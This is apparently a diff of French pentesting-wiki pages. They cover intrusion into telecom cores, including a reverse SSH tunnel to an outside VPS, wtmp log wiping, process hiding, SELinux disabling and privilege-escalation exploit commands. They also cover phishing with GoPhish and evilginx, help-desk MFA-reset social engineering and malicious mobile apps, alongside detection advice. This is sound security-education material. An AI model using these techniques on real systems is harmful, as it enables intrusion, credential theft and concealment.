* le drapeau de version GTP réglé sur 1 tandis que le type de message = 1 (Echo) – déviation par rapport à la spécification
## 4. Pivotement à travers le cœur
### 4.1 `sgsnemu` + SOCKS5
`OsmoGGSN` fournit un émulateur SGSN capable de **établir un contexte PDP vers un vrai GGSN/PGW**. Une fois négocié, Linux reçoit une nouvelle interface `tun0` accessible depuis le pair en itinérance.
```bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
```
Avec un hair-pinning de pare-feu approprié, ce tunnel contourne les VLANs uniquement de signalisation et vous amène directement dans le **data plane**.
### 4.2 Tunnel SSH inversé sur le port 53
Le DNS est presque toujours ouvert dans les infrastructures de roaming. Exposez un service SSH interne à votre VPS écoutant sur :53 et revenez plus tard de chez vous :
```bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
```
Vérifiez que `GatewayPorts yes` est activé sur le VPS.
## 5. Canaux Clandestins
| Canal | Transport | Décodage | Remarques |
|-------|-----------|----------|-----------|
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | clé de 4 octets + morceaux de 14 octets (XOR) | écouteur passif pur, pas de trafic sortant |
| DNS – `NoDepDNS` | UDP 53 | XOR (clé = `funnyAndHappy`) encodé dans les octets d'enregistrement A | surveille le sous-domaine `*.nodep` |
| GTP – `GTPDoor` | UDP 2123 | blob AES-128-CBC dans IE privé | se mélange avec le bruit légitime de GTP-C |
Tous les implants mettent en œuvre des surveillants qui **timestomp** leurs binaires et se réactivent s'ils plantent.
## 6. Feuille de Triche pour l'Évasion de Défense
```bash
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
# Disable bash history
export HISTFILE=/dev/null
# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup # hide from top/htop
printf '\0' > /proc/$$/comm # appears as [kworker/1]
touch -r /usr/bin/time /usr/bin/chargen # timestomp
setenforce 0 # disable SELinux
```
## 7. Élévation de privilèges sur les NE hérités
```bash
# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
# PwnKit – CVE-2021-4034
python3 PwnKit.py
# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py
```
Conseil de nettoyage :
```bash
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c
```
## 8. Boîte à outils
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – outils personnalisés décrits dans les sections précédentes.
* `FScan` : balayages TCP intranet (`fscan -p 22,80,443 10.0.0.0/24`)
* `Responder` : WPAD malveillant LLMNR/NBT-NS
* `Microsocks` + `ProxyChains` : pivotement SOCKS5 léger
* `FRP` (≥0.37) : traversée NAT / pontage d'actifs
---
## Idées de détection
1. **Tout appareil autre qu'un SGSN/GGSN établissant des demandes de création de contexte PDP**.
2. **Ports non standards (53, 80, 443) recevant des poignées de main SSH** provenant d'IP internes.
3. **Demandes Echo fréquentes sans réponses Echo correspondantes** – pourraient indiquer des balises GTPDoor.
4. **Taux élevé de trafic de réponse ICMP echo avec de grands champs d'identifiant/séquence non nuls**.
## Références
- [Palo Alto Unit42 – Infiltration des réseaux de télécommunications mondiaux](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
- 3GPP TS 29.060 – Protocole de tunneling GPRS (v16.4.0)
- 3GPP TS 29.281 – GTPv2-C (v17.6.0)
{{#include ../../banners/hacktricks-training.md}}

134
src/generic-methodologies-and-resources/phishing-methodology/README.md
View File

@ -24,12 +24,16 @@
- **Mot-clé** : Le nom de domaine **contient** un **mot-clé** important du domaine original (par exemple, zelster.com-management.com).
- **sous-domaine hyphéné** : Changer le **point par un tiret** d'un sous-domaine (par exemple, www-zelster.com).
- **Nouveau TLD** : Même domaine utilisant un **nouveau TLD** (par exemple, zelster.org).
- **Homoglyph** : Il **remplace** une lettre dans le nom de domaine par des **lettres qui se ressemblent** (par exemple, zelfser.com).
- **Homoglyphes** : Il **remplace** une lettre dans le nom de domaine par des **lettres qui se ressemblent** (par exemple, zelfser.com).
{{#ref}}
homograph-attacks.md
{{#endref}}
- **Transposition** : Il **échange deux lettres** dans le nom de domaine (par exemple, zelsetr.com).
- **Singularisation/Pluralisation** : Ajoute ou enlève un “s” à la fin du nom de domaine (par exemple, zeltsers.com).
- **Omission** : Il **supprime une** des lettres du nom de domaine (par exemple, zelser.com).
- **Répétition** : Il **répète une** des lettres dans le nom de domaine (par exemple, zeltsser.com).
- **Remplacement** : Comme homoglyph mais moins furtif. Il remplace une des lettres dans le nom de domaine, peut-être par une lettre proche de la lettre originale sur le clavier (par exemple, zektser.com).
- **Remplacement** : Comme homoglyphes mais moins furtif. Il remplace une des lettres dans le nom de domaine, peut-être par une lettre proche de la lettre originale sur le clavier (par exemple, zektser.com).
- **Sous-domaine** : Introduire un **point** à l'intérieur du nom de domaine (par exemple, ze.lster.com).
- **Insertion** : Il **insère une lettre** dans le nom de domaine (par exemple, zerltser.com).
- **Point manquant** : Ajouter le TLD au nom de domaine. (par exemple, zelstercom.com)
@ -51,7 +55,7 @@ Il y a une **possibilité qu'un des bits stockés ou en communication puisse êt
Lorsque ce concept est **appliqué aux requêtes DNS**, il est possible que le **domaine reçu par le serveur DNS** ne soit pas le même que le domaine initialement demandé.
Par exemple, une seule modification de bit dans le domaine "windows.com" peut le changer en "windnws.com".
Par exemple, une modification d'un seul bit dans le domaine "windows.com" peut le changer en "windnws.com."
Les attaquants peuvent **profiter de cela en enregistrant plusieurs domaines à bit-flipping** qui sont similaires au domaine de la victime. Leur intention est de rediriger les utilisateurs légitimes vers leur propre infrastructure.
@ -73,8 +77,8 @@ Pour vous assurer que le domaine expiré que vous allez acheter **a déjà un bo
- [https://hunter.io/](https://hunter.io)
- [https://anymailfinder.com/](https://anymailfinder.com)
Pour **découvrir plus** d'adresses email valides ou **vérifier celles** que vous avez déjà découvertes, vous pouvez vérifier si vous pouvez forcer les serveurs smtp de la victime. [Apprenez à vérifier/découvrir une adresse email ici](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\
De plus, n'oubliez pas que si les utilisateurs utilisent **un portail web pour accéder à leurs mails**, vous pouvez vérifier s'il est vulnérable à **la force brute sur le nom d'utilisateur**, et exploiter la vulnérabilité si possible.
Pour **découvrir plus** d'adresses email valides ou **vérifier celles** que vous avez déjà découvertes, vous pouvez vérifier si vous pouvez forcer les serveurs smtp de la victime. [Apprenez comment vérifier/découvrir une adresse email ici](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\
De plus, n'oubliez pas que si les utilisateurs utilisent **un portail web pour accéder à leurs mails**, vous pouvez vérifier s'il est vulnérable à **la force brute sur les noms d'utilisateur**, et exploiter la vulnérabilité si possible.
## Configuration de GoPhish
@ -83,7 +87,7 @@ De plus, n'oubliez pas que si les utilisateurs utilisent **un portail web pour a
Vous pouvez le télécharger depuis [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0)
Téléchargez et décompressez-le dans `/opt/gophish` et exécutez `/opt/gophish/gophish`\
Un mot de passe pour l'utilisateur admin sera donné sur le port 3333 dans la sortie. Par conséquent, accédez à ce port et utilisez ces identifiants pour changer le mot de passe admin. Vous devrez peut-être faire un tunnel de ce port vers local :
Un mot de passe pour l'utilisateur admin sur le port 3333 vous sera donné dans la sortie. Par conséquent, accédez à ce port et utilisez ces identifiants pour changer le mot de passe admin. Vous devrez peut-être faire un tunnel de ce port vers local :
```bash
ssh -L 3333:127.0.0.1:3333 <user>@<ip>
```
@ -357,10 +361,10 @@ Notez que **pour augmenter la crédibilité de l'email**, il est recommandé d'u
> [!TIP]
> En général, vous devrez modifier le code HTML de la page et faire quelques tests en local (peut-être en utilisant un serveur Apache) **jusqu'à ce que vous soyez satisfait des résultats.** Ensuite, écrivez ce code HTML dans la boîte.\
> Notez que si vous devez **utiliser des ressources statiques** pour le HTML (peut-être des pages CSS et JS), vous pouvez les enregistrer dans _**/opt/gophish/static/endpoint**_ et ensuite y accéder depuis _**/static/\<filename>**_
> Notez que si vous avez besoin d'**utiliser des ressources statiques** pour le HTML (peut-être des pages CSS et JS), vous pouvez les enregistrer dans _**/opt/gophish/static/endpoint**_ et ensuite y accéder depuis _**/static/\<filename>**_
> [!TIP]
> Pour la redirection, vous pourriez **rediriger les utilisateurs vers la vraie page web principale** de la victime, ou les rediriger vers _/static/migration.html_ par exemple, mettre une **roue tournante (**[**https://loading.io/**](https://loading.io)**) pendant 5 secondes et ensuite indiquer que le processus a été réussi**.
> Pour la redirection, vous pourriez **rediriger les utilisateurs vers la vraie page web principale** de la victime, ou les rediriger vers _/static/migration.html_ par exemple, mettre une **roue tournante** (**[**https://loading.io/**](https://loading.io)**) pendant 5 secondes et ensuite indiquer que le processus a été réussi**.
### Utilisateurs & Groupes
@ -373,12 +377,12 @@ Notez que **pour augmenter la crédibilité de l'email**, il est recommandé d'u
Enfin, créez une campagne en sélectionnant un nom, le modèle d'email, la page de destination, l'URL, le profil d'envoi et le groupe. Notez que l'URL sera le lien envoyé aux victimes.
Notez que le **Profil d'envoi permet d'envoyer un email test pour voir à quoi ressemblera le phishing final** :
Notez que le **profil d'envoi permet d'envoyer un email test pour voir à quoi ressemblera le phishing final** :
![](<../../images/image (192).png>)
> [!TIP]
> Je vous recommande d'**envoyer les emails tests à des adresses de 10min mails** afin d'éviter d'être blacklisté lors des tests.
> Je recommanderais d'**envoyer les emails tests à des adresses de 10min mails** afin d'éviter d'être blacklisté lors des tests.
Une fois que tout est prêt, lancez simplement la campagne !
@ -403,13 +407,13 @@ phishing-documents.md
### Via Proxy MitM
L'attaque précédente est assez astucieuse car vous simulez un vrai site web et recueillez les informations fournies par l'utilisateur. Malheureusement, si l'utilisateur n'a pas saisi le bon mot de passe ou si l'application que vous avez simulée est configurée avec 2FA, **ces informations ne vous permettront pas d'usurper l'utilisateur trompé**.
L'attaque précédente est assez astucieuse car vous simulez un vrai site web et collectez les informations fournies par l'utilisateur. Malheureusement, si l'utilisateur n'a pas saisi le bon mot de passe ou si l'application que vous avez simulée est configurée avec 2FA, **ces informations ne vous permettront pas d'usurper l'identité de l'utilisateur trompé**.
C'est là que des outils comme [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) et [**muraena**](https://github.com/muraenateam/muraena) sont utiles. Cet outil vous permettra de générer une attaque de type MitM. En gros, l'attaque fonctionne de la manière suivante :
1. Vous **usurpez le formulaire de connexion** de la vraie page web.
2. L'utilisateur **envoie** ses **identifiants** à votre page factice et l'outil envoie ceux-ci à la vraie page web, **vérifiant si les identifiants fonctionnent**.
3. Si le compte est configuré avec **2FA**, la page MitM le demandera et une fois que l'**utilisateur l'introduit**, l'outil l'enverra à la vraie page web.
2. L'utilisateur **envoie** ses **identifiants** à votre page factice et l'outil les envoie à la vraie page web, **vérifiant si les identifiants fonctionnent**.
3. Si le compte est configuré avec **2FA**, la page MitM demandera cela et une fois que l'**utilisateur l'introduit**, l'outil l'enverra à la vraie page web.
4. Une fois que l'utilisateur est authentifié, vous (en tant qu'attaquant) aurez **capturé les identifiants, le 2FA, le cookie et toute information** de chaque interaction pendant que l'outil effectue un MitM.
### Via VNC
@ -417,9 +421,9 @@ C'est là que des outils comme [**evilginx2**](https://github.com/kgretzky/evilg
Que se passerait-il si au lieu de **rediriger la victime vers une page malveillante** ayant le même aspect que l'originale, vous l'envoyiez vers une **session VNC avec un navigateur connecté à la vraie page web** ? Vous pourrez voir ce qu'il fait, voler le mot de passe, le MFA utilisé, les cookies...\
Vous pouvez faire cela avec [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC)
## Détecter la détection
## Détection de la détection
Évidemment, l'un des meilleurs moyens de savoir si vous avez été démasqué est de **chercher votre domaine dans des listes noires**. S'il apparaît, d'une manière ou d'une autre, votre domaine a été détecté comme suspect.\
Évidemment, l'un des meilleurs moyens de savoir si vous avez été démasqué est de **chercher votre domaine dans les listes noires**. S'il apparaît, d'une manière ou d'une autre, votre domaine a été détecté comme suspect.\
Un moyen facile de vérifier si votre domaine apparaît dans une liste noire est d'utiliser [https://malwareworld.com/](https://malwareworld.com)
Cependant, il existe d'autres moyens de savoir si la victime **cherche activement des activités de phishing suspectes dans la nature** comme expliqué dans :
@ -428,25 +432,119 @@ Cependant, il existe d'autres moyens de savoir si la victime **cherche activemen
detecting-phising.md
{{#endref}}
Vous pouvez **acheter un domaine avec un nom très similaire** à celui du domaine de la victime **et/ou générer un certificat** pour un **sous-domaine** d'un domaine contrôlé par vous **contenant** le **mot-clé** du domaine de la victime. Si la **victime** effectue une sorte d'**interaction DNS ou HTTP** avec eux, vous saurez qu'elle **cherche activement** des domaines suspects et vous devrez être très discret.
Vous pouvez **acheter un domaine avec un nom très similaire** à celui du domaine de la victime **et/ou générer un certificat** pour un **sous-domaine** d'un domaine contrôlé par vous **contenant** le **mot-clé** du domaine de la victime. Si la **victime** effectue une sorte d'**interaction DNS ou HTTP** avec eux, vous saurez qu'**il cherche activement** des domaines suspects et vous devrez être très discret.
### Évaluer le phishing
Utilisez [**Phishious** ](https://github.com/Rices/Phishious) pour évaluer si votre email va finir dans le dossier spam ou s'il va être bloqué ou réussi.
## Détournement du presse-papiers / Pastejacking
## Compromission d'identité à fort contact (Réinitialisation MFA du support technique)
Les attaquants peuvent silencieusement copier des commandes malveillantes dans le presse-papiers de la victime à partir d'une page web compromise ou mal orthographiée, puis tromper l'utilisateur pour qu'il les colle dans **Win + R**, **Win + X** ou une fenêtre de terminal, exécutant du code arbitraire sans aucun téléchargement ou pièce jointe.
Les ensembles d'intrusion modernes contournent de plus en plus les leurres par email et **ciblent directement le service d'assistance / le flux de récupération d'identité** pour contourner le MFA. L'attaque est entièrement "vivre de la terre" : une fois que l'opérateur possède des identifiants valides, il pivote avec des outils d'administration intégrés – aucun malware n'est requis.
### Flux d'attaque
1. Reconnaissance de la victime
* Collectez des détails personnels et d'entreprise à partir de LinkedIn, de violations de données, de GitHub public, etc.
* Identifiez des identités de grande valeur (dirigeants, informatique, finance) et énumérez le **processus exact du support technique** pour la réinitialisation de mot de passe / MFA.
2. Ingénierie sociale en temps réel
* Appelez, utilisez Teams ou discutez avec le support technique tout en usurpant la cible (souvent avec un **ID d'appel falsifié** ou une **voix clonée**).
* Fournissez les PII collectées précédemment pour passer la vérification basée sur les connaissances.
* Convainquez l'agent de **réinitialiser le secret MFA** ou d'effectuer un **échange de carte SIM** sur un numéro de mobile enregistré.
3. Actions immédiates après accès (≤60 min dans des cas réels)
* Établissez une prise de contrôle via n'importe quel portail SSO web.
* Énumérez AD / AzureAD avec des outils intégrés (aucun binaire déposé) :
```powershell
# lister les groupes de répertoires & rôles privilégiés
Get-ADGroup -Filter * -Properties Members | ?{$_.Members -match $env:USERNAME}
# AzureAD / Graph – lister les rôles de répertoire
Get-MgDirectoryRole | ft DisplayName,Id
# Énumérer les appareils sur lesquels le compte peut se connecter
Get-MgUserRegisteredDevice -UserId <user@corp.local>
```
* Mouvement latéral avec **WMI**, **PsExec**, ou des agents **RMM** légitimes déjà sur liste blanche dans l'environnement.
### Détection & Atténuation
* Traitez la récupération d'identité du support technique comme une **opération privilégiée** – exigez une authentification renforcée et l'approbation d'un manager.
* Déployez des règles de **Détection et Réponse aux Menaces d'Identité (ITDR)** / **UEBA** qui alertent sur :
* Méthode MFA changée + authentification depuis un nouvel appareil / géo.
* Élévation immédiate du même principal (utilisateur-→-admin).
* Enregistrez les appels du support technique et imposez un **appel de retour à un numéro déjà enregistré** avant toute réinitialisation.
* Mettez en œuvre un **Accès Juste à Temps (JIT) / Accès Privilégié** afin que les comptes nouvellement réinitialisés ne **reçoivent pas** automatiquement des jetons à haut privilège.
---
## Tromperie à grande échelle – Poisonnement SEO & Campagnes “ClickFix”
Les équipes de commodité compensent le coût des opérations à fort contact avec des attaques de masse qui transforment **les moteurs de recherche et les réseaux publicitaires en canal de livraison**.
1. **Le poisonnement SEO / malvertising** pousse un faux résultat tel que `chromium-update[.]site` en haut des annonces de recherche.
2. La victime télécharge un petit **chargeur de première étape** (souvent JS/HTA/ISO). Exemples vus par l'Unité 42 :
* `RedLine stealer`
* `Lumma stealer`
* `Lampion Trojan`
3. Le chargeur exfiltre les cookies du navigateur + les bases de données d'identifiants, puis tire un **chargeur silencieux** qui décide – *en temps réel* – s'il faut déployer :
* RAT (par exemple, AsyncRAT, RustDesk)
* ransomware / wiper
* composant de persistance (clé d'exécution du registre + tâche planifiée)
### Conseils de durcissement
* Bloquez les domaines nouvellement enregistrés et appliquez un **Filtrage DNS / URL Avancé** sur *les annonces de recherche* ainsi que sur les e-mails.
* Restreignez l'installation de logiciels aux packages MSI / Store signés, refusez l'exécution de `HTA`, `ISO`, `VBS` par politique.
* Surveillez les processus enfants des navigateurs ouvrant des installateurs :
```yaml
- parent_image: /Program Files/Google/Chrome/*
and child_image: *\\*.exe
```
* Chassez les LOLBins souvent abusés par les chargeurs de première étape (par exemple, `regsvr32`, `curl`, `mshta`).
---
## Opérations de phishing améliorées par l'IA
Les attaquants enchaînent désormais des **API LLM & de clonage vocal** pour des leurres entièrement personnalisés et une interaction en temps réel.
| Couche | Exemple d'utilisation par l'acteur de menace |
|-------|-----------------------------|
|Automatisation|Générer et envoyer >100 k emails / SMS avec un wording randomisé et des liens de suivi.|
|IA générative|Produire des emails *uniques* faisant référence à des fusions et acquisitions publiques, des blagues internes des réseaux sociaux ; voix de PDG deep-fake dans une escroquerie de rappel.|
|IA agentique|Enregistrer des domaines de manière autonome, extraire des informations open-source, rédiger des mails de prochaine étape lorsqu'une victime clique mais ne soumet pas d'identifiants.|
**Défense :**
• Ajoutez des **bannières dynamiques** mettant en évidence les messages envoyés par une automatisation non fiable (via des anomalies ARC/DKIM).
• Déployez des **phrases de défi biométrique vocal** pour les demandes téléphoniques à haut risque.
• Simulez continuellement des leurres générés par IA dans des programmes de sensibilisation – les modèles statiques sont obsolètes.
---
## Fatigue MFA / Variante de bombardement de push – Réinitialisation forcée
En plus du bombardement classique par push, les opérateurs **forcent simplement un nouvel enregistrement MFA** lors de l'appel au support technique, annulant le jeton existant de l'utilisateur. Tout prompt de connexion ultérieur apparaît légitime pour la victime.
```text
[Attacker] → Help-Desk: “I lost my phone while travelling, can you unenrol it so I can add a new authenticator?”
[Help-Desk] → AzureAD: ‘Delete existing methods’ → sends registration e-mail
[Attacker] → Completes new TOTP enrolment on their own device
```
Surveillez les événements AzureAD/AWS/Okta où **`deleteMFA` + `addMFA`** se produisent **dans les minutes suivant la même IP**.
## Détournement de Presse-papiers / Pastejacking
Les attaquants peuvent silencieusement copier des commandes malveillantes dans le presse-papiers de la victime à partir d'une page web compromise ou de type similaire, puis tromper l'utilisateur pour qu'il les colle dans **Win + R**, **Win + X** ou une fenêtre de terminal, exécutant du code arbitraire sans aucun téléchargement ni pièce jointe.
{{#ref}}
clipboard-hijacking.md
{{#endref}}
## Phishing Mobile & Distribution d'Applications Malveillantes (Android & iOS)
{{#ref}}
mobile-phishing-malicious-apps.md
{{#endref}}
## Références
- [https://zeltser.com/domain-name-variations-in-phishing/](https://zeltser.com/domain-name-variations-in-phishing/)
- [https://0xpatrik.com/phishing-domains/](https://0xpatrik.com/phishing-domains/)
- [https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/](https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/)
- [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
- [2025 Unit 42 Global Incident Response Report – Social Engineering Edition](https://unit42.paloaltonetworks.com/2025-unit-42-global-incident-response-report-social-engineering-edition/)
{{#include ../../banners/hacktricks-training.md}}

104
src/generic-methodologies-and-resources/phishing-methodology/homograph-attacks.md Normal file
View File

@ -0,0 +1,104 @@
# Attaques Homograph / Homoglyph dans le Phishing
{{#include ../../banners/hacktricks-training.md}}
## Aperçu
Une attaque homograph (également appelée homoglyph) exploite le fait que de nombreux **points de code Unicode provenant de scripts non latins sont visuellement identiques ou extrêmement similaires aux caractères ASCII**. En remplaçant un ou plusieurs caractères latins par leurs homologues visuellement similaires, un attaquant peut créer :
* Des noms d'affichage, des sujets ou des corps de message qui semblent légitimes à l'œil humain mais contournent les détections basées sur des mots-clés.
* Des domaines, sous-domaines ou chemins d'URL qui trompent les victimes en leur faisant croire qu'elles visitent un site de confiance.
Parce que chaque glyphe est identifié en interne par son **point de code Unicode**, un seul caractère substitué suffit à vaincre des comparaisons de chaînes naïves (par exemple, `"Παypal.com"` contre `"Paypal.com"`).
## Flux de Travail Typique du Phishing
1. **Créer le contenu du message** – Remplacer des lettres latines spécifiques dans la marque / mot-clé usurpé par des caractères visuellement indiscernables d'un autre script (grec, cyrillique, arménien, cherokee, etc.).
2. **Enregistrer l'infrastructure de soutien** – Enregistrer éventuellement un domaine homoglyph et obtenir un certificat TLS (la plupart des CA ne font pas de vérifications de similarité visuelle).
3. **Envoyer un email / SMS** – Le message contient des homoglyphes dans un ou plusieurs des emplacements suivants :
* Nom d'affichage de l'expéditeur (par exemple, `Ηеlрdеѕk`)
* Ligne de sujet (`Urgеnt Аctіon Rеquіrеd`)
* Texte de lien hypertexte ou nom de domaine entièrement qualifié
4. **Chaîne de redirection** – La victime est redirigée à travers des sites Web apparemment bénins ou des raccourcisseurs d'URL avant d'atterrir sur l'hôte malveillant qui collecte des identifiants / livre des malwares.
## Plages Unicode Couramment Abusées
| Script | Plage | Glyphe exemple | Semble être |
|--------|-------|----------------|-------------|
| Grec | U+0370-03FF | `Η` (U+0397) | Latin `H` |
| Grec | U+0370-03FF | `ρ` (U+03C1) | Latin `p` |
| Cyrillique | U+0400-04FF | `а` (U+0430) | Latin `a` |
| Cyrillique | U+0400-04FF | `е` (U+0435) | Latin `e` |
| Arménien | U+0530-058F | `օ` (U+0585) | Latin `o` |
| Cherokee | U+13A0-13FF | `Ꭲ` (U+13A2) | Latin `T` |
> Astuce : Des tableaux Unicode complets sont disponibles sur [unicode.org](https://home.unicode.org/).
## Techniques de Détection
### 1. Inspection de Scripts Mixtes
Les emails de phishing visant une organisation anglophone devraient rarement mélanger des caractères de plusieurs scripts. Une heuristique simple mais efficace consiste à :
1. Itérer chaque caractère de la chaîne inspectée.
2. Mapper le point de code à son bloc Unicode.
3. Élever une alerte si plus d'un script est présent **ou** si des scripts non latins apparaissent là où ils ne sont pas attendus (nom d'affichage, domaine, sujet, URL, etc.).
Preuve de concept en Python :
```python
import unicodedata as ud
from collections import defaultdict
SUSPECT_FIELDS = {
"display_name": "Ηоmоgraph Illusion", # example data
"subject": "Finаnꮯiаl Տtatеmеnt",
"url": "https://xn--messageconnecton-2kb.blob.core.windows.net" # punycode
}
for field, value in SUSPECT_FIELDS.items():
blocks = defaultdict(int)
for ch in value:
if ch.isascii():
blocks['Latin'] += 1
else:
name = ud.name(ch, 'UNKNOWN')
block = name.split(' ')[0] # e.g., 'CYRILLIC'
blocks[block] += 1
if len(blocks) > 1:
print(f"[!] Mixed scripts in {field}: {dict(blocks)} -> {value}")
```
### 2. Normalisation Punycode (Domaines)
Les noms de domaine internationalisés (IDN) sont encodés avec **punycode** (`xn--`). Convertir chaque nom d'hôte en punycode puis le reconvertir en Unicode permet de faire correspondre avec une liste blanche ou d'effectuer des vérifications de similarité (par exemple, distance de Levenshtein) **après** que la chaîne a été normalisée.
```python
import idna
hostname = "Ρаypal.com" # Greek Rho + Cyrillic a
puny = idna.encode(hostname).decode()
print(puny) # xn--yl8hpyal.com
```
### 3. Dictionnaires / Algorithmes de Homoglyphes
Des outils tels que **dnstwist** (`--homoglyph`) ou **urlcrazy** peuvent énumérer des permutations de domaines visuellement similaires et sont utiles pour des actions proactives de suppression / surveillance.
## Prévention & Atténuation
* Appliquer des politiques DMARC/DKIM/SPF strictes – prévenir le spoofing depuis des domaines non autorisés.
* Implémenter la logique de détection ci-dessus dans les **Secure Email Gateways** et les playbooks **SIEM/XSOAR**.
* Marquer ou mettre en quarantaine les messages où le domaine du nom d'affichage ≠ domaine de l'expéditeur.
* Éduquer les utilisateurs : copier-coller du texte suspect dans un inspecteur Unicode, survoler les liens, ne jamais faire confiance aux raccourcisseurs d'URL.
## Exemples du Monde Réel
* Nom d'affichage : `Сonfidеntiаl Ꭲiꮯkеt` (Cyrillique `С`, `е`, `а`; Cherokee `Ꭲ`; petite capitale latine `ꮯ`).
* Chaîne de domaine : `bestseoservices.com` ➜ répertoire municipal `/templates` ➜ `kig.skyvaulyt.ru` ➜ faux login Microsoft à `mlcorsftpsswddprotcct.approaches.it.com` protégé par un CAPTCHA OTP personnalisé.
* Usurpation d'identité Spotify : expéditeur `Sρօtifւ` avec lien caché derrière `redirects.ca`.
Ces échantillons proviennent de la recherche de l'Unité 42 (juillet 2025) et illustrent comment l'abus de homoglyphes est combiné avec la redirection d'URL et l'évasion de CAPTCHA pour contourner l'analyse automatisée.
## Références
- [The Homograph Illusion: Not Everything Is As It Seems](https://unit42.paloaltonetworks.com/homograph-attacks/)
- [Unicode Character Database](https://home.unicode.org/)
- [dnstwist – domain permutation engine](https://github.com/elceef/dnstwist)
{{#include ../../banners/hacktricks-training.md}}

94
src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md Normal file
View File

@ -0,0 +1,94 @@
# Phishing Mobile & Distribution d'Applications Malveillantes (Android & iOS)
{{#include ../../banners/hacktricks-training.md}}
> [!INFO]
> Cette page couvre les techniques utilisées par les acteurs de la menace pour distribuer des **APK Android malveillants** et des **profils de configuration mobile iOS** via le phishing (SEO, ingénierie sociale, faux magasins, applications de rencontre, etc.).
> Le matériel est adapté de la campagne SarangTrap exposée par Zimperium zLabs (2025) et d'autres recherches publiques.
## Flux d'Attaque
1. **Infrastructure SEO/Phishing**
* Enregistrer des dizaines de domaines similaires (rencontre, partage de cloud, service de voiture…).
– Utiliser des mots-clés et des emojis en langue locale dans l'élément `<title>` pour se classer sur Google.
– Héberger *à la fois* les instructions d'installation Android (`.apk`) et iOS sur la même page d'atterrissage.
2. **Téléchargement de Première Étape**
* Android : lien direct vers un APK *non signé* ou “magasin tiers”.
* iOS : `itms-services://` ou lien HTTPS simple vers un profil **mobileconfig** malveillant (voir ci-dessous).
3. **Ingénierie Sociale Post-Installation**
* Au premier lancement, l'application demande un **code d'invitation / de vérification** (illusion d'accès exclusif).
* Le code est **POSTé en HTTP** vers le Command-and-Control (C2).
* C2 répond `{"success":true}` ➜ le malware continue.
* L'analyse dynamique Sandbox / AV qui ne soumet jamais un code valide ne voit **aucun comportement malveillant** (évasion).
4. **Abus de Permissions d'Exécution** (Android)
* Les permissions dangereuses ne sont demandées **qu'après une réponse positive du C2** :
```xml
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<!-- Les anciennes versions demandaient également des permissions SMS -->
```
* Les variantes récentes **suppriment `<uses-permission>` pour SMS de `AndroidManifest.xml`** mais laissent le chemin de code Java/Kotlin qui lit les SMS par réflexion ⇒ abaisse le score statique tout en restant fonctionnel sur les appareils qui accordent la permission via un abus de `AppOps` ou d'anciens cibles.
5. **Interface Facade & Collecte en Arrière-plan**
* L'application montre des vues inoffensives (visualiseur de SMS, sélecteur de galerie) implémentées localement.
* Pendant ce temps, elle exfiltre :
- IMEI / IMSI, numéro de téléphone
- Dump complet de `ContactsContract` (tableau JSON)
- JPEG/PNG de `/sdcard/DCIM` compressé avec [Luban](https://github.com/Curzibn/Luban) pour réduire la taille
- Contenu SMS optionnel (`content://sms`)
Les charges utiles sont **compressées par lots** et envoyées via `HTTP POST /upload.php`.
6. **Technique de Livraison iOS**
* Un seul **profil de configuration mobile** peut demander `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration`, etc. pour inscrire l'appareil dans une supervision de type “MDM”.
* Instructions d'ingénierie sociale :
1. Ouvrir Réglages ➜ *Profil téléchargé*.
2. Appuyer sur *Installer* trois fois (captures d'écran sur la page de phishing).
3. Faire confiance au profil non signé ➜ l'attaquant obtient les droits *Contacts* & *Photo* sans révision de l'App Store.
7. **Couche Réseau**
* HTTP simple, souvent sur le port 80 avec un en-tête HOST comme `api.<phishingdomain>.com`.
* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (pas de TLS → facile à repérer).
## Tests Défensifs / Conseils pour Équipe Rouge
* **Bypass d'Analyse Dynamique** – Lors de l'évaluation du malware, automatisez la phase de code d'invitation avec Frida/Objection pour atteindre la branche malveillante.
* **Différence Manifest vs. Runtime** – Comparez `aapt dump permissions` avec `PackageManager#getRequestedPermissions()` à l'exécution ; l'absence de permissions dangereuses est un signal d'alarme.
* **Canari Réseau** – Configurez `iptables -p tcp --dport 80 -j NFQUEUE` pour détecter des pics de POST non solides après la saisie du code.
* **Inspection de mobileconfig** – Utilisez `security cms -D -i profile.mobileconfig` sur macOS pour lister `PayloadContent` et repérer des droits excessifs.
## Idées de Détection pour Équipe Bleue
* **Transparence des Certificats / Analytique DNS** pour attraper des pics soudains de domaines riches en mots-clés.
* **User-Agent & Regex de Chemin** : `(?i)POST\s+/(check|upload)\.php` des clients Dalvik en dehors de Google Play.
